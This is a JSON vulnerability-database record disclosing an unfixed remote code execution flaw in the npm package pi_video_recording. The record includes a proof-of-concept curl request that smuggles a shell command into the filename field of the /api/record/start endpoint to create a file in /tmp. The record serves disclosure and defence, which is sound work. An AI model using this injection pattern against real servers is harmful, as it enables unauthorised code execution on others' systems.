{"id":"GHSA-9wjh-jr2j-6r4x","aliases":[],"url":"https://o3.security/vulnerability/GHSA-9wjh-jr2j-6r4x","summary":"Remote Code Execution in pi_video_recording","details":"All versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","published":"2020-09-02T15:55:58Z","modified":"2020-08-31T18:35:14Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"pi_video_recording","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/773"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2020-08-31T18:35:14Z"}}